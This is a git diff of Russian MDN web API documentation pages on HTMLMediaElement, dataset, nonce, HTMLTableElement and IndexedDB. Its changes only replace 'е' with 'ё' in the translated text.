<dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt> @@ -177,7 +177,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="Устаревшие_методы">Устаревшие методы</h2> -<p>Эти методы устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p> +<p>Эти методы устарели и не должны использоваться, даже если браузер все ещё поддерживает их.</p> <dl> <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> @@ -186,7 +186,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="События">События </h2> -<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определенного в миксине {{domxref ('GlobalEventHandlers')}}. Обработайте эти события, используя addEventListener () или назначив обработчик событий свойству oneventname этого интерфейса.</em></p> +<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определённого в миксине {{domxref ('GlobalEventHandlers')}}. Обработайте эти события, используя addEventListener () или назначив обработчик событий свойству oneventname этого интерфейса.</em></p> <dl> <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt> diff --git a/files/ru/web/api/htmlmediaelement/seeking_event/index.html b/files/ru/web/api/htmlmediaelement/seeking_event/index.html index 145c72b01b..10c8052325 100644 --- a/files/ru/web/api/htmlmediaelement/seeking_event/index.html +++ b/files/ru/web/api/htmlmediaelement/seeking_event/index.html @@ -4,7 +4,7 @@ slug: Web/API/HTMLMediaElement/seeking_event translation_of: Web/API/HTMLMediaElement/seeking_event original_slug: Web/HTML/Element/video/seeking_event --- -<p>Событие 'seeking' в случае, когда идет подгрузка видео</p> +<p>Событие 'seeking' в случае, когда идёт подгрузка видео</p> <h2 id="General_info">General info</h2> diff --git a/files/ru/web/api/htmlorforeignelement/dataset/index.html b/files/ru/web/api/htmlorforeignelement/dataset/index.html index f69b78492a..2fc2e821ec 100644 --- a/files/ru/web/api/htmlorforeignelement/dataset/index.html +++ b/files/ru/web/api/htmlorforeignelement/dataset/index.html @@ -9,10 +9,10 @@ original_slug: Web/API/HTMLElement/dataset <p>Свойство <code><strong>HTMLElement.dataset</strong></code> предоставляет доступ как для чтения, так и для изменения всех пользовательских дата-атрибутов <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (<code>data-*</code>) , установленных у элемента. Это <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, одна запись для каждого пользовательского атрибута данных. Обратите внимание, свойство <code><strong>dataset</strong></code> доступно только для чтения. Для записи должны использоваться его "свойства", которые представлены data-атрибутами. Также обратите внимание, что HTML <code><strong>data-</strong></code><em>атрибут</em> и соответствующий ему DOM-<code>dataset.</code><em>property</em> не имеют одно и то же имя, но они всегда похожи:</p> <ul> - <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчеркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li> + <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчёркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li> <li>Имя пользовательского дата-атрибута в Javascript — это имя того же атрибута в HTML, но с использованием нотации camelCase и без дефисов, точек и т.д.<br> <br> - В дополнение к приведенной ниже информации вы найдете руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li> + В дополнение к приведённой ниже информации вы найдёте руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li> </ul> <h3 id="Преобразование_имён">Преобразование имён</h3> diff --git a/files/ru/web/api/htmlorforeignelement/nonce/index.html b/files/ru/web/api/htmlorforeignelement/nonce/index.html index 497dd8a6be..6d03c7529c 100644 --- a/files/ru/web/api/htmlorforeignelement/nonce/index.html +++ b/files/ru/web/api/htmlorforeignelement/nonce/index.html @@ -39,7 +39,7 @@ HTMLElement.nonce = <em>nonce</em></pre> <h2 id="Browser_Compatibility">Browser Compatibility</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.HTMLElement.nonce")}}</p> </div> diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html index 82372ff2d2..3d822139d4 100644 --- a/files/ru/web/api/htmlscriptelement/index.html +++ b/files/ru/web/api/htmlscriptelement/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/HTMLScriptElement <tr> <td><code id="src_property">src</code></td> <td>{{domxref("DOMString")}}</td> - <td>Получает и отдает URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td> + <td>Получает и отдаёт URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td> </tr> <tr> <td><code id="event_property">event</code>{{obsolete_inline}}</td> diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html index fd23c972b7..cfadd4d95d 100644 --- a/files/ru/web/api/htmltableelement/index.html +++ b/files/ru/web/api/htmltableelement/index.html @@ -59,15 +59,15 @@ translation_of: Web/API/HTMLTableElement <dl> <dt><a href="/ru/docs/DOM/table.createTHead">table.createTHead</a></dt> - <dd><strong>createTHead</strong> создает header таблицы.</dd> + <dd><strong>createTHead</strong> создаёт header таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt> <dd><strong>deleteTHead</strong> удаляет header таблицы.</dd> <dt><a href="/ru/docs/DOM/table.createTFoot">table.createTFoot</a></dt> - <dd><strong>createTFoot</strong> создает footer таблицы.</dd> + <dd><strong>createTFoot</strong> создаёт footer таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt> <dd><strong>deleteTFoot</strong> удаляет footer таблицы.</dd> <dt><a href="/ru/docs/DOM/table.createCaption">table.createCaption</a></dt> - <dd><strong>createCaption</strong> создает заголовок таблицы.</dd> + <dd><strong>createCaption</strong> создаёт заголовок таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt> <dd><strong>deleteCaption</strong> удаляет заголовок таблицы.</dd> <dt><a href="/ru/docs/DOM/table.insertRow">table.insertRow</a></dt> diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html index 631575d0cc..20cfec2417 100644 --- a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html +++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -25,11 +25,11 @@ translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB <h2 id="Обзор_IndexedDB">Обзор IndexedDB</h2> -<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохраненным данным в пределах домена можно, то вне его - нет.</p> +<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохранённым данным в пределах домена можно, то вне его - нет.</p> <p>IndexedDB - <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">асинхронное</a> API, которое может быть использовано в большинстве контекстов, включая <a href="/ru/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>. Раньше оно включало <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">синхронную</a> версию, для использования в web workers, но это было удалено из спецификации в связи с недостатком интереса внутри web-сообщества.</p> -<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила ее 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p> +<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила её 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p> <h2 id="concepts" name="concepts">Big concepts</h2> diff --git a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html index 93f8f9634e..e81311aaae 100644 --- a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html +++ b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter <p class="summary">Существует целый ряд веб-технологий, которые хранят данные того или иного рода на стороне клиента (то есть на локальном диске). Процесс, с помощью которого браузер решает, сколько места выделить для хранения веб-данных и что удалить, когда этот предел будет достигнут, не прост и отличается между браузерами. В этой статье описывается, как браузеры определяют, какой локальный контент следует очистить и когда, чтобы освободить необходимое локальное пространство для хранения.</p> <div class="note"> -<p><strong>Примечание</strong>: приведенная ниже информация должна быть достаточно точной для большинства современных браузеров, но специфика браузера вызывается там, где она известна. Opera и Chrome должны вести себя одинаково во всех случаях. Opera Mini (все еще основанная на presto, серверная визуализация) не хранит никаких данных на клиенте.</p> +<p><strong>Примечание</strong>: приведённая ниже информация должна быть достаточно точной для большинства современных браузеров, но специфика браузера вызывается там, где она известна. Opera и Chrome должны вести себя одинаково во всех случаях. Opera Mini (все ещё основанная на presto, серверная визуализация) не хранит никаких данных на клиенте.</p> </div> <h2 id="Какие_технологии_используют_браузерные_хранилища_данных">Какие технологии используют браузерные хранилища данных?</h2> @@ -27,11 +27,11 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter </ul> <div class="note"> -<p><strong>Примечание</strong>: В Firefox веб-хранилище скоро начнет использовать те же инструменты управления хранилищем, что и в этом документе.</p> +<p><strong>Примечание</strong>: В Firefox веб-хранилище скоро начнёт использовать те же инструменты управления хранилищем, что и в этом документе.</p> </div> <div class="note"> -<p><strong>Примечание</strong>: в режиме приватного просмотра большинство хранилищ данных не поддерживается. Данные локального хранилища и файлы cookie все еще хранятся, но они эфемерны — данные удаляются, когда вы закрываете последнее окно приватного просмотра.</p> +<p><strong>Примечание</strong>: в режиме приватного просмотра большинство хранилищ данных не поддерживается. Данные локального хранилища и файлы cookie все ещё хранятся, но они эфемерны — данные удаляются, когда вы закрываете последнее окно приватного просмотра.</p> </div> <p>The "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients.</p> diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html index 5a951d7da7..c759014ee2 100644 --- a/files/ru/web/api/indexeddb_api/index.html +++ b/files/ru/web/api/indexeddb_api/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API --- <div>{{DefaultAPISidebar("IndexedDB")}}</div> -<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объема структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a> полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p> +<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объёма структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a> полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p> <p>{{AvailableInWorkers}}</p> @@ -22,7 +22,7 @@ translation_of: Web/API/IndexedDB_API <h2 id="Ключевые_концепции_и_использование">Ключевые концепции и использование</h2> -<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранен. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p> +<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранён. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p> <ul> <li>Читайте больше о <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Концепции IndexedDB</a>.</li> @@ -63,7 +63,7 @@ translation_of: Web/API/IndexedDB_API <dl> <dt>{{domxref("IDBTransaction")}}</dt> - <dd>Представляет транзакцию. Вы создаете транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd> + <dd>Представляет транзакцию. Вы создаёте транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd> <dt>{{domxref("IDBRequest")}}</dt> <dd>Generic interface that handles database requests and provides access to results.</dd> <dt>{{domxref("IDBObjectStore")}}</dt> @@ -75,9 +75,9 @@ translation_of: Web/API/IndexedDB_API <dt>{{domxref("IDBCursorWithValue")}}</dt> <dd>Итерирует по хранилищам объектов и индексам и возвращает текущее значение курсора.</dd> <dt>{{domxref("IDBKeyRange")}}</dt> - <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне.</dd> + <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определённом диапазоне.</dd> <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt> - <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне, отсортированных в соответствии с правилами локали, указанной для определенного индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd> + <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определённом диапазоне, отсортированных в соответствии с правилами локали, указанной для определённого индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd> </dl> <h3 id="Пользовательские_интерфейсы_событий">Пользовательские интерфейсы событий</h3> @@ -91,11 +91,11 @@ translation_of: Web/API/IndexedDB_API <h3 id="Устаревшие_интерфейсы">Устаревшие интерфейсы</h3> -<p>Ранняя версия спецификации также определяла эти теперь удаленные интерфейсы. Они все еще задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p> +<p>Ранняя версия спецификации также определяла эти теперь удалённые интерфейсы. Они все ещё задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p> <dl> <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt> - <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путем вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удаленного {{domxref("IDBVersionChangeRequest")}}.</dd> + <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путём вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удалённого {{domxref("IDBVersionChangeRequest")}}.</dd> <dt>{{domxref("IDBDatabaseException")}} {{obsolete_inline}}</dt> <dd>Представляет исключения, которые могут возникнуть при выполнении операций с базой данных.</dd> <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt> @@ -148,7 +148,7 @@ translation_of: Web/API/IndexedDB_API <ul> <li><a href="https://localforage.github.io/localForage/">localForage</a>: Polyfill, предоставляющий простое имя: синтаксис значения для клиентского хранилища данных, которое использует IndexedDB в фоновом режиме, но обращается к WebSQL, а затем к localStorage в браузерах, которые не поддерживают IndexedDB.</li> - <li><a href="http://www.dexie.org/">Dexie.js</a>: Обертка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li> + <li><a href="http://www.dexie.org/">Dexie.js</a>: Обёртка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li> <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: Интерфейс, подобный MongoDB, для IndexedDB, который поддерживает большинство знакомых функций фильтрации, проекции, сортировки, обновления и агрегирования MongoDB.</li> <li><a href="http://jsstore.net/">JsStore</a>: Оболочка IndexedDB с синтаксисом, подобным SQL.</li> <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: Клиентский MongoDB, поддерживаемый localStorage, с синхронизацией сервера по http. MiniMongo используется в MeteorJS.</li> diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html index 824a0372d0..cc7345e92b 100644 --- a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html +++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB <div class="warning">Некоторые части документа не переведены, в основном это повсеместно принятые в программировании рекомендации, такие как обработка ошибок или что-то очевидное. Тем не менее Вы можете/должны продолжить перевод. Главная цель перевода - понять основные концепции IndexedDB, обратить внимание на важные нюансы, прокомментировать исходный код и может быть добавить примеры.</div> -<p>Справочную документацию по IndexedDB API вы найдете в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p> +<p>Справочную документацию по IndexedDB API вы найдёте в документе <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB.</a> В нем описаны типы объектов, используемых в IndexedDB, а также синхронный и асинхронный API.</p> <h2 id="pattern" name="pattern">Типичная схема работы с базой</h2> @@ -36,11 +36,11 @@ translation_of: Web/API/IndexedDB_API/Using_IndexedDB <h2 id="open" name="open">Создание и структурирование хранилища</h2> -<p>Так как спецификация пока еще находится в процессе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят, префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока еще используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p> +<p>Так как спецификация пока ещё находится в процессе разработки, то текущие реализации IndexedDB отличаются у различных браузеров и могут содержать имена объектов, включающие в себя префиксы браузеров. Однако, как только стандарт будет принят, префиксы будут удалены. К настоящему моменту префиксы уже удалены в реализациях IndexedDB в Internet Explorer 10, Firefox 16 и Chrome 24. Браузеры, построенные на базе Gecko пока ещё используют префикс <code>moz,</code> а браузеры на базе движка <code>webkit</code> используют префикс <code>webkit.</code></p> <h3 id="Использование_экспериментальной_версии_IndexedDB">Использование экспериментальной версии IndexedDB</h3> -<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока еще не отказались от префикса, можно воспользоваться следующим кодом:</p> +<p>Для того, чтобы протестировать ваше веб-приложение на браузерах, которые пока ещё не отказались от префикса, можно воспользоваться следующим кодом:</p> <pre class="brush: js">// проверяем существования префикса. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; @@ -67,9 +67,9 @@ var request = window.indexedDB.open("MyTestDatabase", 3); <p>Видите? Открытие базы данных, подобно любым другим операциям, запускается запросом.</p> -<p>На самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернет объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p> +<p>На самом деле запрос открытия базы данных не приводит к немедленному открытию базы или запуску транзакции. Вызов функции<code> open()</code> вернёт объект <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> , содержащий результат (если успешно) или ошибку, которую вы можете обработать как событие. Большинство других асинхронных функций IndexedDB делает то же самое - возвращает объект <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> с результатом или ошибкой. Результат функции open всегда возвращает экземпляр объекта <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p> -<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов и их структуру . Если база данных еще не существует, то она создается операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого ваш обработчик этого события создает схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p> +<p>Второй параметр метода open - это версия базы данных. Версия определяет схему базы данных - хранилище объектов и их структуру . Если база данных ещё не существует, то она создаётся операцией <code>open,</code> затем срабатывает триггер события <code>onupgradeneeded </code>и после этого ваш обработчик этого события создаёт схему базы данных. Если же база данных уже существует, а вы указываете новый номер версии, то сразу же срабатывает триггер события <code>onupgradeneeded,</code> позволяя вам обновить схему базы данных в обработчике. Подробнее об этом см. в <a href="#Updating_the_version_of_the_database">Обновление версии базы данных</a> ниже и на странице {{ domxref("IDBFactory.open") }} справочника</p> <div class="warning"> <p>Версия базы данных имеет внутреннее представление <code>unsigned long long</code> number (длинное длинное целое без знака), то есть может принимать очень большие целые значения. Имейте в виду также, что нет смысла использовать в качестве версии базы данных значение с плавающей точкой (float), потому что оно будет сконвертировано в ближайшее меньшее целое. В результате неожиданно может не запуститься транзакция или сработать триггер события <code>upgradeneeded</code>. Например, не используйте значение 2.4 как версию базы данных:</p> @@ -90,11 +90,11 @@ request.onsuccess = function(event) { <p>Какая из двух функций<code> - onsuccess()</code> или <code>onerror()</code> - должна быть вызвана? Если всё в порядке - то инициируется событие успеха (это событие DOM, свойство type которого выставлено в <code>"success"</code>) с <code>request</code> в качестве <code>target</code>. Это вызывает запуск функции <code>onsuccess()</code> объекта <code>request</code> с событием успеха в качестве аргумента. В противном случае, если возникают какие-то проблемы, то происходит событие ошибки (то есть событие DOM, свойство <code>type</code> которого установлено в <code>"error"</code>) . Это приводит к запуску функции <code><code>onerror()</code></code> с событием ошибки в качестве аргумента.</p> -<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объемов данных для использования офлайн. (Чтобы узнать, сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p> +<p>IndexedDB API разработан так, чтобы минимизировать необходимость обработки ошибок, поэтому скорее всего вы не встретите много событий ошибки запроса (по крайней мере если вы будете использовать этот API!). Однако при открытии базы данных есть несколько общих условий, которые генерируют события ошибок. Наиболее вероятной проблемой является запрет вашему веб-приложению на создание базы данных, установленный пользователем в браузере. Одной из основных целей разработки IndexedDB - это обеспечение возможности сохранения больших объёмов данных для использования офлайн. (Чтобы узнать, сколько памяти вы можете использовать в разных браузерах, обратитесь к <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Ограничениям памяти</a>).</p> <p>Конечно же, браузеры стремятся не позволить назойливым рекламным сетям или вредоносным сайтам засорять ваш компьютер. Поэтому при первой попытке любого веб-приложения открыть хранилище IndexedDB, браузер запрашивает разрешение пользователя. Пользователь может выбрать - то ли разрешить, то ли запретить доступ. Кроме этого, в приватных режимах браузеров (частный просмотр для Firefox и режим инкогнито для Chrome), IndexedDB полностью запрещена для использования. Так как цель приватных режимов - не оставлять следов, то открытие базы данных невозможно в таких режимах.</p> -<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code> является экземпляром объекта <code>IDBDatabase</code> и вы определенно захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p> +<p>А теперь предположим, что пользователь разрешил вашему запросу создать базу данных и состоялось событие успеха, запустившее обработчик события успеха. Что дальше? Так как ваш запрос был сгенерирован с вызовом метода <code>indexedDB.open(), то </code><code>request.result</code> является экземпляром объекта <code>IDBDatabase</code> и вы определённо захотите сохранить его для будущего использования. Ваш код может выглядеть примерно так:</p> <pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> db<span class="punctuation token">;</span> <span class="keyword token">var</span> request <span class="operator token">=</span> indexedDB<span class="punctuation token">.</span><span class="function token">open<span class="punctuation token">(</span></span><span class="string token">"MyTestDatabase"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> @@ -116,17 +116,17 @@ request<span class="punctuation token">.</span>onsuccess <span class="operator t }; </pre> -<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохраненная на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p> +<p>Одной из возможных ошибок при открытии базы данных является <code>VER_ERR. </code>Она сигнализирует о том, что версия базы данных, сохранённая на диске, <em>больше</em>, чем версия, которую вы пытаетесь открыть. Такая ошибка должна быть в обязательном порядке обработана обработчиком ошибок. </p> <h3 id="Создание_или_обновление_версии_базы_данных">Создание или обновление версии базы данных</h3> -<p>Когда вы создаете новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В обработчике этого события вы должны создать хранилище объектов, необходимое для этой версии базы данных:</p> +<p>Когда вы создаёте новую базу данных или увеличиваете номер версии существующей базы данных (задавая больший номер версии, чем тот номер, который был вами указан при <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Opening_a_database">Opening a database</a>) запускается событие <code style="font-size: 14px; color: rgb(51, 51, 51);">onupgradeneeded</code>. В 